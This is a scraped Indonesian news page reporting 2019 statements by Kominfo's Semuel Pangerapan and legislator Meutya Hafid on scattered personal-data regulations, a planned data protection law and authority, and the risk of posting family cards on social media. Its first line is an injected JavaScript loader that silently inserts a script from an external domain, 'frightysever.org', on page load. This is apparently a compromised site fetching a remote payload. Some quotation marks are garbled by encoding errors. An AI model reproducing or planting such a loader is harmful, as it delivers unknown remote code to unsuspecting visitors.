(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Direktur Jenderal Aplikasi dan Informatika, Kementerian Komunikasi dan Informatika, Semuel Abrijani Pangerapan, terus melakukan edukasi kepada masyarakat mengenai pentingnya menjaga keamanan data pribadi.
Selain itu mereka juga sudah mengirim sejumlah tenaga kerja ke Eropa untuk mempelajari sistem data protection officer (DPO).
“Ada 32 regulasi terkait perlindungan data pribadi. Itu tercecer dan saling tumpang tindih. Masyarakat jadi bingung. Ada regulasi di kesehatan, di regulasi komunikasi juga ada. Yang tercecer ini kita ingin satukan. Jadi sangat butuh sosialisasi. Masyarakat belum paham,†kata dia di Jakarta, Rabu, 3 Juli 2019, seperti diwartakan viva.co.id.
Cara pertama untuk menyatukan peraturan yang ada adalah dengan melakukan diskusi untuk mengedukasi masyarakat serta literasi terkait akan adanya Undang-Undang Perlindungan Data Pribadi. Kemudian, untuk instansi dan perusahaan, akan terdapat data protection authority (DPA).
Akan tetapi pembentukan DPA masih dalam tahap rancangan, apakah akan berbentuk komisi yang ditetapkan DPR atau pemerintah. “Masih harus dipelajari lebih dalam. Selain edukasi dari sisi masyarakat, kami berharap pelaku usaha lebih aware jika ada regulasi baru,” jelasnya.
Semuel juga menyayangkan karena kerap menemukan banyak yang posting Kartu Keluarga di media sosial, “Itu tidak usah dilakukan. Itu adalah data sensitif yang bisa disalahgunakan oleh orang yang tidak bertanggung jawab,†tegas dia.
Pada kesempatan yang sama, Anggota Komisi I DPR, Meutya Hafid, mengaku tidak ada masalah dari sisi pengusaha, namun masalah utama justru ada di masyarakat.
Menurutnya masyarakat menjadi helpless dan tidak aware saat menghadapi sebuah pilihan. “Mereka punya potensi disalahgunakan tapi mereka tidak punya pilihan karena mereka mau menggunakan teknologi itu,†paparnya. Meutya memberi contoh ketika ingin menggunakan aplikasi.
Ia mengatakan pastinya pengguan akan diminta untuk setuju saat aplikasi ingin mengakses data pengguna. “Kalau tidak setuju, ya, aplikasi enggak bisa digunakan,†jelas Meutya. (vvn)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.